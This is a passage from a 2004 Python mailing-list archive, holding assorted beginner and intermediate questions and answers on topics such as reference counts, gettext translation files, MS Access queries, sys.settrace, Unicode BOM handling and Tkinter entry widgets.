From aahz at pythoncraft.com  Wed Feb  4 14:57:59 2004
From: aahz at pythoncraft.com (Aahz)
Date: 4 Feb 2004 14:57:59 -0500
Subject: counting references to an instance
References: <pan.2004.02.04.18.55.02.385092.6672@sympatico.ca>
Message-ID: <bvris7$hcd$1@panix1.panix.com>

In article <pan.2004.02.04.18.55.02.385092.6672 at sympatico.ca>,
Brian  <balex at sympatico.ca> wrote:
>
>Is it possible to get an object to return the number of references there
>are to itself?
>
>Ex:
>
>class test(object):
> pass
>
>a = test()
>b = a
>
># Should print "2", if I knew the name of the method.
>print a.refCount()

sys.getrefcount(a) will do the trick -- but it will print 3.  Can you
figure out why?
-- 
Aahz (aahz at pythoncraft.com)           <*>         http://www.pythoncraft.com/

"The joy of coding Python should be in seeing short, concise, readable
classes that express a lot of action in a small amount of clear code -- 
not in reams of trivial code that bores the reader to death."  --GvR


From ketulp_baroda at yahoo.com  Thu Feb 12 09:27:00 2004
From: ketulp_baroda at yahoo.com (ketulp_baroda at yahoo.com)
Date: 12 Feb 2004 06:27:00 -0800
Subject: does python support mvc  architecture
Message-ID: <f046efac.0402120627.948b7ed@posting.google.com>

Hi
Does python support MVC architecture? Java has register & notify
obsever methods in javax.util . Does python has these functions. If
not then how to register the views with the models & how to notify the
views that the model has been updated??


From jcarlson at nospam.uci.edu  Wed Feb 18 19:42:39 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Wed, 18 Feb 2004 16:42:39 -0800
Subject: Is there Multi-media support in Python ?
In-Reply-To: <73NYb.10391$jH.32000@twister.tampabay.rr.com>
References: <Ue3Yb.236855$rj7.1534201@twister.tampabay.rr.com>
	<mailman.94.1077067234.31398.python-list@python.org>
	<73NYb.10391$jH.32000@twister.tampabay.rr.com>
Message-ID: <c110uo$2sd$1@news.service.uci.edu>

> One of the reasons we were interested in Python is that, we thought, capible
> of creating software that will run on Mac, Windows or Linux systems.
> 
> I understand that Python itself is the basic language and that there are
> add-ons for other stuff... like win32all, wxPython, Py2exe, NumArray,
> PythonCard, etc...

You will find that Python will interface with quite a few Windows 
components with win32all (now pywin32 I believe), of course there is 
already os.startfile() for simple "open this file with the appropriate 
viewer" applications.


Depending on the 'multimedia' you want to deal with, wxPython is capable 
of embedding various objects into itself.  On Windows it seems to be 
fairly trivial to embed Internet Explorer in a wxPython window, which 
could be used with the standard IE plugins to view media.

On other platforms, perhaps wxMozilla 
(http://wxmozilla.sourceforge.net/) would satisfy a large portion of 
your requirements.  It may take some work to get it working with 
wxPython, but it also may be a quick SWIG run.  As it stands, wxMozilla 
runs on all major platforms, so may be your best bet for images and 
multimedia with browser plugins.


  - Josiah


From tjreedy at udel.edu  Tue Feb 24 17:29:07 2004
From: tjreedy at udel.edu (Terry Reedy)
Date: Tue, 24 Feb 2004 17:29:07 -0500
Subject: Thoughts about Python
References: <403B4963.4060303@compuserve.de><mailman.38.1077638089.8594.python-list@python.org>
	<15c2d03b.0402241333.5f7a2738@posting.google.com>
Message-ID: <c1gj7g$mnv$1@sea.gmane.org>


"Marco Aschwanden" <PPNTWIMBXFFC at spammotel.com> wrote

> How many "object oriented" languages do you know ...

Python is object-based and allows its flavor of object-oriented
programming, but it is not restrictively objected-oriented way that Java
and some other languages are.  One can write Python programs, even fairly
large programs, with modules, statements, and functions, without ever using
the class statement.

> Obviously my "ideas/thoughts" are MY "personal problem" with Python as
> I understand the comments so far and I must first learn more Python
> before I can state things that disturbed me while learning...

It is one thing to ask questions, another to express opinions, and a third
to dogmatically present opinions and preferences as facts and shoulds.
Perhaps you did more of the third than you intended.

Terry J. Reedy








From rmunn at pobox.com  Fri Feb  6 13:10:57 2004
From: rmunn at pobox.com (Robin Munn)
Date: Fri, 06 Feb 2004 18:10:57 GMT
Subject: How can this be?
References: <4eBUb.15701$uM2.7740@newsread1.news.pas.earthlink.net>
	<mailman.1279.1076032014.12720.python-list@python.org>
	<KUCUb.15828$uM2.1639@newsread1.news.pas.earthlink.net>
Message-ID: <RMQUb.908$PY.52@newssvr26.news.prodigy.com>

r.e.s. <r.s at ZZmindspring.com> wrote:
> "Paul Prescod" <paul at prescod.net> wrote ...
>
>> You sent a reference to L into the function. The function probably 
>> mutated it. If you wish the function to work with a copy, try this:
>> 
>>       from A import *
>>       L = [0]
>>       print L
>>       x = f(L[:], 'a data string')
>>       print L
>> 
>> This is normal and often useful behaviour.
>
> I can see that it would be -- Thanks for answering 
> a beginner's question. I notice also the following:
>
>     def f(L): 
>         L[0] = 1
>     
>     def g(L):
>         L = [1]
>
>     L1 = [0],  L2 = [0]
>
>     f(L1), g(L2)
>
> ... L1 gets mutated, but not L2 (even though both
> references were passed).  It's probably explained 
> in the tutorial -- which I'm now going to re-read.

Fredrik Lundh's short article on Python objects (which starts with the
helpful advice "Reset your brain") is also useful as a starting point:

    http://effbot.org/zone/python-objects.htm

-- 
Robin Munn
rmunn at pobox.com


From cookedm+news at physics.mcmaster.ca  Tue Feb 24 17:52:10 2004
From: cookedm+news at physics.mcmaster.ca (David M. Cooke)
Date: Tue, 24 Feb 2004 17:52:10 -0500
Subject: Thoughts about Python
References: <15c2d03b.0402240311.395f5382@posting.google.com>
	<Xns9499854B482AEduncanrcpcouk@127.0.0.1>
	<15c2d03b.0402241237.708cb4e8@posting.google.com>
Message-ID: <qnk4qtgt7j9.fsf@arbutus.physics.mcmaster.ca>

At some point, PPNTWIMBXFFC at spammotel.com (Marco Aschwanden) wrote:

>> Forget the speed and memory difference. The main argument for tuples as a 
>> separate type are to use as dictionary keys. How do you propose to handle 
>> dictionary keys without tuples?
>
> Maybe I don't get the point here: Why do dictionaries need tuples to
> work? I know that tuples can be used as keys... but how many times do
> you need tuples as dictionary keys (it would be simple to turn a list
> into an immutable string if really needed ("::".join(["a","b"]).

Simple, yes. Practicable, no. Wrong, certainly. For instance, I have a
lot of use cases where I use tuples of numbers -- (3, 4, 20.0101), eg.
It'd be a *hack* to convert that into a string, and the representation
would not be unique. This ain't Perl.

-- 
|>|\/|<
/--------------------------------------------------------------------------\
|David M. Cooke
|cookedm(at)physics(dot)mcmaster(dot)ca


From sdb1031 at yahoo.com  Thu Feb  5 21:43:42 2004
From: sdb1031 at yahoo.com (Stephen Briley)
Date: Thu, 5 Feb 2004 18:43:42 -0800 (PST)
Subject: "datatype mismatch error" in MS Access
Message-ID: <20040206024342.57431.qmail@web60904.mail.yahoo.com>

For some reason, my posts are scrubbed as attachments.
 Lets hope that sending from the yahoo account works.

I'm new to Python and I'm trying to do some database
work with MS Access, but I can't seem to get around a
 "datatype mismatch error".  Here's an example table
that I'm working with...

ID      name    dept 
1       steve   acct 
2       mike    acct 
3       george  payroll 
4       frank   payroll 
>>> import win32com.client 
>>> engine =
win32com.client.Dispatch("DAO.DBEngine.36") 
>>> db =
engine.OpenDatabase(r"c:\python-access\db4.mdb") 
>>> rs3 = db.OpenRecordset("work") 

>>>rs3 = db.OpenRecordset("select * from work where ID
= 3 ") 
>>>dept = rs3.Fields("dept") 
>>>print dept 
payroll 

The above does exactly what I want, except I'd like to
use a variable instead of the number 3.  
When I try I get the following...

>>>idnum = 3 
>>>rs3 = db.OpenRecordset("select * from work where ID
= '%i'" %(idnum)) 
Traceback (most recent call last): 
  File "<interactive input>", line 1, in ? 
  File
"win32com\gen_py\00025E01-0000-0000-C000-000000000046x0x5x0.py",
line 508, in OpenRecordset 
    ret = self._oleobj_.InvokeTypes(1610809383, LCID,
1, (9, 0), ((8, 1), (12, 17), (12, 17), (12,
17)),Name, 
Type, Options, LockEdit)com_error: (-2147352567,
'Exception occurred.', (0, 'DAO.Database', 'Data type
mismatch in 
criteria expression.', 'jeterr40.chm', 5003464,
-2146824824), None)


The data type for the ID field in the table is
"number" so why am I recieving the datatype mismatch
error? 
I'd really appreciate some help, if anyone has any
suggestions.  Thanks!


__________________________________
Do you Yahoo!?
Yahoo! Finance: Get your refund fast by filing online.
http://taxes.yahoo.com/filing.html



From mark at diversiform.com  Fri Feb 20 15:27:58 2004
From: mark at diversiform.com (mark)
Date: Fri, 20 Feb 2004 12:27:58 -0800
Subject: mcmillan installer web site
In-Reply-To: <YotZb.24730$4o.42623@attbi_s52>
Message-ID: <107730889101@neptune.hosting4u.net>

Here's Gordon's mail from the Installer mail list:

	My host was acquired & the transition wasn't managed very well.
Should 	be back pretty soon.

	-- Gordon


- Mark

-----Original Message-----
From: python-list-bounces+mark=diversiform.com at python.org
[mailto:python-list-bounces+mark=diversiform.com at python.org] On Behalf Of
bap
Sent: Friday, February 20, 2004 11:41 AM
To: python-list at python.org
Subject: mcmillan installer web site

Is anyone else having problems accessing the Mcmillan installer web site
(www.mcmillan-inc.com)? I get a no permission error message - so I don't
know if my ISP is blocked or something is wrong with the web site.

Bruce Peterson


-- 
http://mail.python.org/mailman/listinfo/python-list





From mwh at python.net  Thu Feb  5 11:55:22 2004
From: mwh at python.net (Michael Hudson)
Date: Thu, 5 Feb 2004 16:55:22 GMT
Subject: integer overflow
References: <V7Cdnagd9Yd0-r_dRVn_vQ@news.rockefeller.edu>
	<m3n07x5vxp.fsf@pc150.maths.bris.ac.uk>
	<_LKdnSsPRbRZ77_dRVn_vQ@news.rockefeller.edu>
Message-ID: <m3d68t5uv9.fsf@pc150.maths.bris.ac.uk>

Chad Haynes <haynesc at rockefeller.edu> writes:

> Michael Hudson wrote:
> 
> > Chad Haynes <haynesc at rockefeller.edu> writes:
> > 
> >>I got an odd error which I cannot explain and cannot seem to reproduce.
> >>The following statement
> >>
> >>	lst[0] = num
> >>
> >>produced this error
> >>
> >>	OverflowError: unsigned short is greater than maximum
> >>
> >>The number was around 65536 so it makes sense that it would overflow a
> >>short, but why is it trying to force it into a short integer?
> > Is lst an array.array('h') or something (numarray...)?
> 
> Nope, its just a regular list

Code, please.

Cheers,
mwh

-- 
  The snakes are optional, as are the electrodes, the molten lead
  and the ritual buggering by syphilitic warthogs. 
                                        -- Tanuki the Raccoon-dog, asr


From whitedw at NOSPAMcox.net  Sun Feb 22 02:28:19 2004
From: whitedw at NOSPAMcox.net (Derek W)
Date: Sat, 21 Feb 2004 23:28:19 -0800
Subject: Python program organization
In-Reply-To: <mailman.139.1077373119.27104.python-list@python.org>
References: <6fGZb.25259$tM5.21166@fed1read04>
	<mailman.139.1077373119.27104.python-list@python.org>
Message-ID: <40385A13.6090904@NOSPAMcox.net>

Fran?ois Pinard wrote:

> [Derek W]
> 
> 
>>Is it proper to break the program up into modules and put all of the
>>modules in a package even if the modules would be of little or no use
>>to others (such as the program specific GUI code)?
> 
> 
> Hi, Derek.  It looks proper to me.  You might want to break a big
> package into sub-packages, but all of it usually goes into a single
> directory hierarchy.
> 
> 
>>Would this package then go under Python's site-packages directory when
>>the program is installed?
> 
> 
> This is the most natural thing to do.
> 
> 
>>Would distribution of a program like this use distutils?
> 
> 
> Why not? :-)
> 

Fran?ois,

Thank you for replying to my post.  I very much appreciate your input. 
Great homepage by the way.

Thanks again,
Derek


From __peter__ at web.de  Sun Feb 22 03:02:14 2004
From: __peter__ at web.de (Peter Otten)
Date: Sun, 22 Feb 2004 09:02:14 +0100
Subject: list partition
References: <Y4RZb.28632$x57.632@newssvr25.news.prodigy.com>
Message-ID: <c19nm7$8au$02$1@news.t-online.com>

Moosebumps wrote:

> Is there a function that takes a list and predicate, and returns two
> lists -- one for which the predicate is true and one for which it is
> false?

I take a slightly different approach, which is not limited to boolean
predicates:

>>> def predicate(v): return v & 1
...
>>> d = {}
>>> for i in range(10):
...     d.setdefault(predicate(i), []).append(i)
...
>>> d[True]
[1, 3, 5, 7, 9]
>>> d[False]
[0, 2, 4, 6, 8]
>>>

Peter


From rhaper at houston.rr.com  Mon Feb 16 23:15:02 2004
From: rhaper at houston.rr.com (Rod Haper)
Date: Tue, 17 Feb 2004 04:15:02 GMT
Subject: Simple addition
In-Reply-To: <vbfYb.338817$na.500223@attbi_s04>
References: <LWPXb.58968$n62.56888@twister.nyroc.rr.com>
	<4AQXb.25652$646.5355@newssvr25.news.prodigy.com>
	<wzisi7b9nj.fsf@cs.uu.nl> <3OadnQovPKs4nqzdRVn-hQ@comcast.com>
	<ad052e5c.0402161649.5e629151@posting.google.com>
	<vbfYb.338817$na.500223@attbi_s04>
Message-ID: <azgYb.825$J84.344@fe1.texas.rr.com>

Rainer Deyke wrote:
> Dan Bishop wrote:
> 
>>Why not display the *exact* decimal representation,
>>"0.1000000000000000055511151231257827021181583404541015625"?
> 
> 
> This has my vote.  Unfortunately Python seems incapable of figuring out all
> of those digits.
> 
> Python 2.3.2 (#49, Oct  2 2003, 20:02:00) [MSC v.1200 32 bit (Intel)] on
> win32
> Type "help", "copyright", "credits" or "license" for more information.
> 
>>>>'%.64f' % 0.1
> 
> '0.1000000000000000100000000000000000000000000000000000000000000000'
> 
> 

Python 2.3.3 seems to be able to do it on Red Hat Linux 9.0:

[rodh at rodh rodh]$ python
Python 2.3.3 (#1, Dec 20 2003, 17:47:13)
[GCC 3.2.2 20030222 (Red Hat Linux 3.2.2-5)] on linux2
Type "help", "copyright", "credits" or "license" for more information.
 >>> '%.64f' % 0.1
'0.1000000000000000055511151231257827021181583404541015625000000000'
 >>>


Must be a M$ MSC problem.

-- 
Rod


From vivek_sawant at killspam.unc.edu  Wed Feb 18 17:05:13 2004
From: vivek_sawant at killspam.unc.edu (Vivek Sawant)
Date: Wed, 18 Feb 2004 17:05:13 -0500
Subject: Accessing method object from within a method
In-Reply-To: <4033D7ED.D3F7754F@engcorp.com>
References: <4033d11a$1_2@news.unc.edu> <4033D7ED.D3F7754F@engcorp.com>
Message-ID: <4033e199$1_3@news.unc.edu>

Peter,

I had browsed through documentation for frame objects earlier, but 
nothing had jumped out. Here's what your suggestion helped me conjur up 
and it worked:

def method (self, ...)
   mname = sys._getframe(0).f_code.co_name;
   # do something with mname

Is this what you had in mind or did you mean to suggest something better?

Thanks!
\vivek


Peter Hansen wrote:

>Vivek Sawant wrote:
>  
>
>>Is there a way to obtain the method/function object from within the
>>method like 'self' refers to the object instance. I would like to avoid
>>looking method name (string) in class/object attributes. My goal is to
>>write code that need not be changed when the method name is changed.
>>
>>def method (self, ...)
>>   # somehow obtain 'methodobj' for this 'method'
>>   mname = methodobj.__name__;
>>   # do something with mname
>>    
>>
>
>The usual use for this is for debugging purposes, when somebody wants
>to print the name of the current method.  If your needs are not much
>different than that, look into sys._getframe() and frame objects.
>
>-Peter
>  
>
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From tdelaney at avaya.com  Wed Feb 18 19:26:29 2004
From: tdelaney at avaya.com (Delaney, Timothy C (Timothy))
Date: Thu, 19 Feb 2004 11:26:29 +1100
Subject: Garbage Collection Method
Message-ID: <338366A6D2E2CA4C9DAEAE652E12A1DE01377C59@au3010avexu1.global.avaya.com>

> From: JAVIER ALBERTO MONTOYA TORRES
> 
> Someone else know whats the way Python collect Garbage, by 
> unreferenced locations in memory, usings flags, maybe hybrid 
> of two or 
> more methods, ... Can help me?

http://www.python.org/doc/faq/general.html#id43
http://www.catb.org/~esr/faqs/smart-questions.html#before

Tim Delaney



From sean at datamage.net  Sun Feb  8 17:12:52 2004
From: sean at datamage.net (Sean Legassick)
Date: Mon, 9 Feb 2004 00:12:52 +0200
Subject: OT: Recommended news reader?
References: <4f0a9fdb.0402031309.fde7220@posting.google.com>
	<m3y8rhbenz.fsf@tanelorn.bandersnatch.org> <y8rh9zfx.fsf@python.net>
Message-ID: <hd4N1ADkRrJAFAWZ@eucalyptus.datamage.net>

In message <y8rh9zfx.fsf at python.net>, Thomas Heller <theller at python.net> 
writes
>But I was very astonished to see that no other mail/news client I have
>examined allows customizing the From: address depending on the folder or
>group you are currently in.  Can that really be true?

Turnpike does <http://www.demon.net/turnpike/>. It costs about UKP15 and 
there's no eval version, which is terrible marketing on Demon's behalf. 
It's a wonderful email and news client with all kinds of great features 
(ok, I was responsible for redesigning the UI during my time at Demon so 
I'm somewhat biased...)

-- 
Sean Legassick
sean at datamage.net




From theller at python.net  Tue Feb 24 10:49:02 2004
From: theller at python.net (Thomas Heller)
Date: Tue, 24 Feb 2004 16:49:02 +0100
Subject: Distutils: compilation of generated code.
References: <tyfk72co801.fsf@pcepsft001.cern.ch>
Message-ID: <65dw5vgx.fsf@python.net>

Jacek Generowicz <jacek.generowicz at cern.ch> writes:

> I am using a Python program to generate the C++ source code of an
> extension module in a package which is managed by distutils. What's
> the best way to instruct distutils to re-generate the code before
> compiling it, if and only if the generation program is newer than the
> generated code ?

subclass distutils build_ext command.

Thomas




From wweston at att.net  Thu Feb 26 13:52:57 2004
From: wweston at att.net (wes weston)
Date: Thu, 26 Feb 2004 18:52:57 GMT
Subject: configure 'time out' time for urllib
In-Reply-To: <403DD771.F58FBF24@molgen.mpg.de>
References: <403DD771.F58FBF24@molgen.mpg.de>
Message-ID: <dgr%b.46097$aH3.1427967@bgtnsc04-news.ops.worldnet.att.net>

Andreas,
    Follow the link in Pieter's reply. It explains that the method
changes the timeout for ALL connections. You won't need to recode
in sockets. Thanks Pieter.
wes

Andreas Dahl wrote:
> Hi,
> 
> I use urllib to retrieve data via HTTP. Unfortunately my program crashes
> after a while (after some loops) because the connection timed out.
> 
> raise socket.error, msg
> IOError: [Errno socket error] (60, 'Connection timed out')
> 
> I am not so familiar with python, but is there a possibility to
> configure the 'waiting time'? Or how can I handle such an event? To skip
> that query and go to the next one would also work.
> 
> Many thanks in advance, Andreas
> 
> code:
>     params = urllib.urlencode({'rs': rs})
>     try:
>         file =
> urllib.urlopen("http://www.ncbi.nlm.nih.gov/SNP/snp_ref.cgi?%s" %
> params)
>     except IOError, message: # file open failed
>         print >> sys.stderr, "File could not be opend:", message
>         sys.exit(1)
>     data = file.readlines() # array with html-doc-content
>     file.close()
> 



From martin at v.loewis.de  Tue Feb  3 13:30:38 2004
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Tue, 03 Feb 2004 19:30:38 +0100
Subject: internationalisation/gettext - any sample (.MO) data available ?
In-Reply-To: <282f826a.0402021907.2266c6b4@posting.google.com>
References: <282f826a.0402021907.2266c6b4@posting.google.com>
Message-ID: <bvopcd$kt1$01$1@news.t-online.com>

Richard Shea wrote:
> As a first step I'm looking at the class based gettext. I just
> wondered if anyone knew of some ready made .MO files I could use - I
> don't care what the subject matter is I just want something realistic
> to work with (I have tried googling but a search string with 'sample'
> and 'file' pulls up an awful lot of unrelated stuff).

Here is the smallest example I can think of (actually, the smallest one
using Tk - one with pure text output could be smaller):

# Python
import gettext
gettext.install("demoapp", localedir=".", unicode=True)

import Tkinter
t=Tkinter.Label(text=_("Hello, World"))
t.pack()
b=Tkinter.Button(text=_("Close"), command=t.tk.quit)
b.pack()

t.tk.mainloop()

Save this as a.py, and invoke

# Shell Command Line
xgettext a.py

(use xgettext.py if you don't have xgettext)

This produces a file messages.po. Change this to read

# demoapp message file
#
msgid ""
msgstr ""
"Project-Id-Version: demoapp\n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: 2004-01-25 21:50+0100\n"
"PO-Revision-Date: 2004-01-25 21:52+0100\n"
"Last-Translator: Martin v. L?wis <martin at v.loewis.de>\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=iso-8859-1\n"
"Content-Transfer-Encoding: 8bit\n"

#: a.py:5
msgid "Hello, World"
msgstr "Hallo, Welt"

#: a.py:7
msgid "Close"
msgstr "Ende"

and invoke

# Shell Command Line
msgfmt messages.po

(use msgfmt.py if you don't have msgfmt)

Save the resulting messages.mo as

./de/LC_MESSAGES/demoapp.mo

Set the LANG environment variable to de_DE.ISO-8859-1, and
invoke

# Shell Command Line
python a.py

and enjoy the German user interface :-) If you have multiple
languages, hand messages.po to translators (calling it demoapp.po),
and compile each translation you get back from the translators.

Regards,
Martin



From chrish at cryptocard.com  Mon Feb 16 08:16:30 2004
From: chrish at cryptocard.com (Chris Herborth)
Date: Mon, 16 Feb 2004 08:16:30 -0500
Subject: package similar to XML::Simple
In-Reply-To: <bv80qq$kbg$1@sunnews.cern.ch>
References: <bv80qq$kbg$1@sunnews.cern.ch>
Message-ID: <Wj3Yb.3914$Cd6.174692@news20.bellglobal.com>

Paulo Pinto wrote:

> does anyone know of a Python package that
> is able to load XML like the XML::Simple
> Perl package does?

Despite all of the, uh, _discussion_ in this thread, I'd like to thank you 
folks for pointing out pyRXP... I hadn't found that before, and if I can 
whip up a pyRXP -> DOM2 translator, it will fit my needs _perfectly_.

Thanks!

-- 
Chris Herborth                                     chrish at cryptocard.com
Documentation Overlord, CRYPTOCard Corp.      http://www.cryptocard.com/
Never send a monster to do the work of an evil scientist.


From kmeling at vizrt.com  Fri Feb  6 04:59:57 2004
From: kmeling at vizrt.com (Kathy)
Date: 6 Feb 2004 01:59:57 -0800
Subject: Create Unicode object problem
Message-ID: <8d5080f5.0402060159.39612a86@posting.google.com>

Hi!

Is there any way I can create a unicode object from the unicode code
itself.
I extract the code from a file and need to create a unicode object
that represents the corresponding character.

So what i get from reading my file is a string containing for example
the code 'u8c79' (Chinese character).

Help on this would be appreciated!

Kathy


From pod at internode.on.net  Tue Feb  3 02:39:39 2004
From: pod at internode.on.net (PoD)
Date: Tue, 03 Feb 2004 17:39:39 +1000
Subject: Question about 'if __name__ == "__main__":'
References: <k9ITb.28697$P17.28414@fed1read03>
Message-ID: <pan.2004.02.03.07.39.39.54419@internode.on.net>

On Mon, 02 Feb 2004 23:33:42 -0800, Amy G wrote:

> I have a program that needs a little help.
> Right now the program runs in my crontab.  When it runs, it sets a few
> variables based on a query to a MySQL database.  I would like to modify it
> so that it can run as it is... or if arguments are supplied, use those
> instead of querrying the database.
> 

Hint: len(sys.argv)



From llothar at web.de  Wed Feb 18 20:07:39 2004
From: llothar at web.de (Lothar Scholz)
Date: 18 Feb 2004 17:07:39 -0800
Subject: Bug  in  "sys.settrace" ??
Message-ID: <6ee58e07.0402181707.26418b2c@posting.google.com>

I use sys.settrace in my console application to stop any endless loop
but in the following loop:

a = 0
while 1:
	a = a + 1

the trace function is only called 4 times, but in code 

a = 0
while 1:
    a = a + 1
    print a

the trace function is called infinite times. So i assume that there is
a bug in the first case. I think that the system assumes that it must
not call the trace function again because it is always the same line
number, and the optimizer removes the "while 1" line.


From matt.gerrans at hp.com  Fri Feb 27 15:03:47 2004
From: matt.gerrans at hp.com (Matt Gerrans)
Date: Fri, 27 Feb 2004 20:03:47 GMT
Subject: remove BOM from string read from utf-8 file
References: <c1nfem$hs5$04$1@news.t-online.com>
Message-ID: <DoN%b.1259$zo1.1188@news.cpqcorp.net>

I found myself often needing to read text files that might be utf-8, unicode
or ansi, without knowing beforehand which, so I wrote a single function to
do it.    I don't know if this is the correct way to handle this situation,
but I couldn't find any function that would simply open a file with the
appropriate codec automatically, so I use this (it doesn't handle all cases,
but just the ones I've needed so far):

import os, codecs
#---------------------------------------------------------------------------
-
#                                OpenTextFile()
#
# Opens a file correctly whether it is unicode or ansi.  If the file
# doesn't exist, then the default encoding is unicode (UTF-16).
#
# Python documentation of the codecs module is pretty weak; for instance
# there are all these:
#    BOM
#    BOM_BE
#    BOM_LE
#    BOM_UTF8
#    BOM_UTF16
#    BOM_UTF16_BE
#    BOM_UTF16_LE
#    BOM_UTF32
#    BOM_UTF32_BE
#    BOM_UTF32_LE
# but no explanation of how they map to the encodings like 'utf-16'.  Some
# can be inferred, but some are not so clear.
#---------------------------------------------------------------------------
-
def OpenTextFile(filename,mode='r',encoding=None):
   if os.path.isfile(filename):
      f = file(filename,'rb')
      header = f.read(4) # Read just the first four bytes.
      f.close()
      # Don't change this to a map, because it is ordered!!!
      encodings = [ ( codecs.BOM_UTF32, 'utf-32' ),
                    ( codecs.BOM_UTF16, 'utf-16' ),
                    ( codecs.BOM_UTF8,  'utf-8'  ) ]
      for h,e in encodings:
         if header.find(h) == 0:
            encoding = e
            break
   return codecs.open(filename,mode,encoding)




From otto_kruse at hotmail.com  Sun Feb 22 11:20:33 2004
From: otto_kruse at hotmail.com (=?ISO-8859-1?Q?Otto_Kr=FCse?=)
Date: Sun, 22 Feb 2004 17:20:33 +0100
Subject: limiting text input in Tkinter Entry widget
Message-ID: <4038d6c2$0$49821$1b2cd167@news.wanadoo.nl>

Hi everyone,

I'm building a GUI in which I want, amongst other things, for people to 
fill in there postal code. The postal codes of my country (Holland) are 
in this format: 1234 AB

So for the input I use two entry widgets, one of a length of 
(characters) for the numbers and one of lenght 2 for the letters. What I 
don't like is that although the visible part of the widgets thus are 4 
and 2 characters, users can actually input more characters. They could 
for example input 12345 abcd. I want to make that impossible.

Does anyone know a way to limit the amount of characters an entry widget 
can take? Is there an easy option to set for this or does this problem 
require some python code? Can't seem to find answers in any documentation.

The code:
self.e1 = Entry(frame, width="4")
self.e2 = Entry(frame, width="2")

Thanks a lot,
Otto


From John at the.computer  Fri Feb  6 23:28:09 2004
From: John at the.computer (John Matthews)
Date: Sat, 07 Feb 2004 04:28:09 GMT
Subject: Beginning programmer question - How to print a list in a
	different format
References: <MPG.1a8e19663001709b989680@news-server.columbus.rr.com>
Message-ID: <MPG.1a8e32b32fdce68d989681@news-server.columbus.rr.com>

In article <MPG.1a8e19663001709b989680 at news-server.columbus.rr.com>, 
John at the.computer says...
> Hi.
> 
> I have a dictionary thus: (wraps)
> 
> p1hand = 
> {'b12':b12,'d12':d12,'d23':d23,'n12':n12,'n23':n23,'n34':n34,'p12':p12,'
> p23':p23,'p34':p34,'p45':p45}
> 
> I set a variable called p1handlist so that I can print a list of the 
> keys to the screen:
> 
> p1handlist = p1hand.keys()
> print p1handlist
> 
> and the output looks like this:
> 
> ['b12', 'd12', 'd23', 'n12', 'n23', 'n34', 'p12', 'p23', 'p34', 'p45']
> 
> how can I make it so that the output looks more like this?:
> 
> b12, d12, d23, n12, n23, n34, p12, p23, p34, p45
> 
> This is for a simple text mode game I am writing and the output to the 
> screen is important because at times the list gets too big to print on 
> one line of the display.
> 
> Thanks!
> 
> John
> 
> 
> 
>
Robert & Andres,
Thanks so much for the help. As it turns out:
 
>>> print ', '.join(p1handlist)

does the trick! You have made me look like a genius! :)

John


From merkosh at hadiko.de  Tue Feb 10 11:24:35 2004
From: merkosh at hadiko.de (Uwe Mayer)
Date: Tue, 10 Feb 2004 17:24:35 +0100
Subject: software design question
References: <c02ku4$8e0$1@news.rz.uni-karlsruhe.de>
	<c03ebl$av7$1@news.service.uci.edu>
	<c03g1u$mtu$1@news.rz.uni-karlsruhe.de>
	<L5cVb.14719$ZN1.775584@news20.bellglobal.com>
	<c03rii$c2t$1@news.rz.uni-karlsruhe.de>
	<6ee58e07.0402080823.75df2850@posting.google.com>
Message-ID: <c0b0k2$fd7$1@news.rz.uni-karlsruhe.de>

Lothar Scholz wrote:

>> Is 500 lines a good count to start splitting up the code?
> No !
> My modules are normally between 1000-3000 lines. Having to much files
> (worst case scenario is PHP) is just another form of spaghetti code.
> With so small files you should focus on the task that needs to be done
> and only if you really do two different things in one module you
> should decide to split it. Maybe a merge would help you more then
> splitting.

What IDE /Editor do you use? I currently use Emacs and I find it very hard
to skip back and forth between methods and functions in larger files.

Ciao
Uwe


From ajsiegel at optonline.com  Wed Feb 25 20:34:59 2004
From: ajsiegel at optonline.com (Arthur)
Date: Thu, 26 Feb 2004 01:34:59 GMT
Subject: No Thoughts about Everything
References: <mailman.130.1077734454.8594.python-list@python.org>
Message-ID: <3eca401a1tiu4hoeh3tfeh61gtt42srr1u@4ax.com>

On Wed, 25 Feb 2004 19:46:53 +0100, bblochl <bblochl at fh-lausitz.de>
wrote:

>Obviously you assume I try to torture people with that task of "production programming" as you name it. 
>That is absoluteley not my stile. Exactly prevention was the reason I was looking for a solution in the meagre and
> precise form of the word "final" in python as well to hand it as a tool to the people. So to my regret
> I recognize now that in python there is a comparable self explaining solution as in JAVA not avalaible and
> I have to split off that in many (even simple) applications very helpful and as a programming concept interesting feature. 

In fairness, it was I who introduced the term "production
programming".  Dave actually rejected the characterization. 

>
>But I hope you will not be convinced that explaining the meaning and applying the five letters of the JAVA-modifier 
>"final" is too much for a one year JAVA course for university scientists?
> Even after PISA - that is not only an italien city - I can not belief that! 

I absolutely agree that the java modifier should be taught in a Java
class.  But probably not in a Python class - for the obvious reason.

My experience was that the need to deal with the Java OO modifiers
makes the learning experience rote, before its time.  The method and
class modifiers do become meaningful, but well after one has the core
OO concepts under one's belt, by having acutally written some
independant Code.  But since the modifiers must be there in one form
or another - from the beginning - every introduction to the language I
have seen makes them a Big Thing, up front. And, therefore, the
population of those who get to the point of writing independant Code,
is dwindled.  Those without a taste for what - at that point - seems
like obscure formalism, drop off.  Who are probably some of the
brighter ones.

Python works much better as an introduction to OO programming.  IMO,
based on my expereince.

Art


From sdhyok at yahoo.com  Fri Feb 20 13:24:32 2004
From: sdhyok at yahoo.com (sdhyok)
Date: 20 Feb 2004 10:24:32 -0800
Subject: Class for Time Series Data
References: <420ced91.0402191804.49a5d91f@posting.google.com>
	<3064b51d.0402200801.6e58c34b@posting.google.com>
Message-ID: <420ced91.0402201024.5c849393@posting.google.com>

Not only for ad-hoc calculations.
I am looking for some serious works for time series data,
like ts class in R.

Daehyok

beliavsky at aol.com wrote in message news:<3064b51d.0402200801.6e58c34b at posting.google.com>...
> sdhyok at yahoo.com (sdhyok) wrote in message news:<420ced91.0402191804.49a5d91f at posting.google.com>...
> > Hi, I am trying to build up a system handling time series data a lot.
> > Do you know any well-designed python class specially for time series data?
> > Thanks in advance.
> > 
> > Shin, Daehyok
> 
> I use a 1-D Numeric array to store the data of a time series. What is
> missing in the Numeric array that you want? It is easy to write Python
> functions to compute things like the autocorrelation function or the
> coefficients of an autoregressive model, using the features of Numeric
> and the accompanying LinearAlgebra module, which can fit regressions
> via least squares.


From steve at ferg.org  Wed Feb  4 12:09:07 2004
